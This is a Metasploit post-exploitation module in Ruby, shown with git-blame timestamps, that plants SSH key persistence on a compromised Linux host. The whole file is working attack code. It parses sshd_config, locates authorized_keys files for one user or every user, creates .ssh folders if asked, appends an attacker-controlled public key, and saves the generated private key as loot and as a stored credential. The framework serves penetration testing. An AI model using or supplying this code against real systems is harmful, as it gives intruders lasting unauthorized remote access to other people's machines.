2016-06-20 02:40:03 +00:00
|
|
|
##
|
2017-07-24 13:26:21 +00:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2016-06-20 02:40:03 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
2016-07-15 12:21:17 +00:00
|
|
|
#require 'msf/core'
|
|
|
|
#require 'msf/core/post/file'
|
2016-06-20 02:40:03 +00:00
|
|
|
require 'sshkey'
|
|
|
|
|
|
|
|
class MetasploitModule < Msf::Post
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
include Msf::Post::File
|
|
|
|
include Msf::Post::Unix
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(
|
|
|
|
update_info(
|
|
|
|
info,
|
|
|
|
'Name' => 'SSH Key Persistence',
|
|
|
|
'Description' => %q{
|
|
|
|
This module will add an SSH key to a specified user (or all), to allow
|
|
|
|
remote login via SSH at any time.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'h00die <mike@shorebreaksecurity.com>'
|
|
|
|
],
|
|
|
|
'Platform' => [ 'linux' ],
|
2016-06-20 21:59:01 +00:00
|
|
|
'SessionTypes' => [ 'meterpreter', 'shell' ],
|
2016-06-20 02:40:03 +00:00
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Automatic', {} ]
|
|
|
|
],
|
|
|
|
'DefaultTarget' => 0
|
|
|
|
)
|
|
|
|
)
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
2016-07-15 12:21:17 +00:00
|
|
|
OptString.new('USERNAME', [false, 'User to add SSH key to (Default: all users on box)' ]),
|
|
|
|
OptPath.new('PUBKEY', [false, 'Public Key File to use. (Default: Create a new one)' ]),
|
|
|
|
OptString.new('SSHD_CONFIG', [true, 'sshd_config file', '/etc/ssh/sshd_config' ]),
|
|
|
|
OptBool.new('CREATESSHFOLDER', [true, 'If no .ssh folder is found, create it for a user', false ])
|
2016-06-20 02:40:03 +00:00
|
|
|
], self.class
|
|
|
|
)
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
if session.type == "meterpreter"
|
|
|
|
sep = session.fs.file.separator
|
|
|
|
else
|
|
|
|
# Guess, but it's probably right
|
|
|
|
sep = "/"
|
|
|
|
end
|
|
|
|
print_status('Checking SSH Permissions')
|
2016-07-15 12:21:17 +00:00
|
|
|
sshd_config = read_file(datastore['SSHD_CONFIG'])
|
2016-06-20 02:40:03 +00:00
|
|
|
/^PubkeyAuthentication[\s]+(?<pub_key>yes|no)/ =~ sshd_config
|
|
|
|
if pub_key && pub_key == 'no'
|
|
|
|
print_error('Pubkey Authentication disabled')
|
|
|
|
elsif pub_key
|
|
|
|
vprint_good("Pubkey set to #{pub_key}")
|
|
|
|
end
|
|
|
|
/^AuthorizedKeysFile[\s]+(?<auth_key_file>[\w%\/\.]+)/ =~ sshd_config
|
|
|
|
if auth_key_file
|
|
|
|
auth_key_file = auth_key_file.gsub('%h', '')
|
|
|
|
auth_key_file = auth_key_file.gsub('%%', '%')
|
|
|
|
if auth_key_file.start_with? '/'
|
|
|
|
auth_key_file = auth_key_file[1..-1]
|
|
|
|
end
|
|
|
|
else
|
|
|
|
auth_key_file = '.ssh/authorized_keys'
|
|
|
|
end
|
|
|
|
print_status("Authorized Keys File: #{auth_key_file}")
|
|
|
|
|
|
|
|
auth_key_folder = auth_key_file.split('/')[0...-1].join('/')
|
|
|
|
auth_key_file = auth_key_file.split('/')[-1]
|
2016-07-15 12:21:17 +00:00
|
|
|
if datastore['USERNAME'].nil?
|
2016-06-20 02:40:03 +00:00
|
|
|
print_status("Finding #{auth_key_folder} directories")
|
|
|
|
paths = enum_user_directories.map { |d| d + "/#{auth_key_folder}" }
|
|
|
|
else
|
2016-07-15 12:21:17 +00:00
|
|
|
if datastore['USERNAME'] == 'root'
|
|
|
|
paths = ["/#{datastore['USERNAME']}/#{auth_key_folder}"]
|
2016-06-20 02:40:03 +00:00
|
|
|
else
|
2016-07-15 12:21:17 +00:00
|
|
|
paths = ["/home/#{datastore['USERNAME']}/#{auth_key_folder}"]
|
2016-06-20 02:40:03 +00:00
|
|
|
end
|
|
|
|
vprint_status("Added User SSH Path: #{paths.first}")
|
|
|
|
end
|
|
|
|
|
2016-07-15 12:21:17 +00:00
|
|
|
if datastore['CREATESSHFOLDER'] == true
|
2016-06-20 02:40:03 +00:00
|
|
|
vprint_status("Attempting to create ssh folders that don't exist")
|
|
|
|
paths.each do |p|
|
|
|
|
unless directory?(p)
|
|
|
|
print_status("Creating #{p} folder")
|
2016-07-15 12:21:17 +00:00
|
|
|
cmd_exec("mkdir -m 700 -p #{p}")
|
2016-06-20 02:40:03 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
paths = paths.select { |d| directory?(d) }
|
|
|
|
if paths.nil? || paths.empty?
|
|
|
|
print_error("No users found with a #{auth_key_folder} directory")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
write_key(paths, auth_key_file, sep)
|
|
|
|
end
|
|
|
|
|
|
|
|
def write_key(paths, auth_key_file, sep)
|
2016-07-15 12:21:17 +00:00
|
|
|
if datastore['PUBKEY'].nil?
|
2016-06-20 02:40:03 +00:00
|
|
|
key = SSHKey.generate
|
|
|
|
our_pub_key = key.ssh_public_key
|
|
|
|
loot_path = store_loot("id_rsa", "text/plain", session, key.private_key, "ssh_id_rsa", "OpenSSH Private Key File")
|
|
|
|
print_good("Storing new private key as #{loot_path}")
|
|
|
|
else
|
2016-07-15 12:21:17 +00:00
|
|
|
our_pub_key = ::File.read(datastore['PUBKEY'])
|
2016-06-20 02:40:03 +00:00
|
|
|
end
|
|
|
|
paths.each do |path|
|
|
|
|
path.chomp!
|
|
|
|
authorized_keys = "#{path}/#{auth_key_file}"
|
2016-06-21 20:52:40 +00:00
|
|
|
print_status("Adding key to #{authorized_keys}")
|
|
|
|
append_file(authorized_keys, "\n#{our_pub_key}")
|
2016-06-20 02:40:03 +00:00
|
|
|
print_good("Key Added")
|
2016-07-15 12:21:17 +00:00
|
|
|
if datastore['PUBKEY'].nil?
|
2016-06-20 02:40:03 +00:00
|
|
|
path_array = path.split(sep)
|
|
|
|
path_array.pop
|
|
|
|
user = path_array.pop
|
|
|
|
credential_data = {
|
|
|
|
origin_type: :session,
|
|
|
|
session_id: session_db_id,
|
|
|
|
post_reference_name: refname,
|
|
|
|
private_type: :ssh_key,
|
|
|
|
private_data: key.private_key.to_s,
|
|
|
|
username: user,
|
|
|
|
workspace_id: myworkspace_id
|
|
|
|
}
|
|
|
|
|
|
|
|
create_credential(credential_data)
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|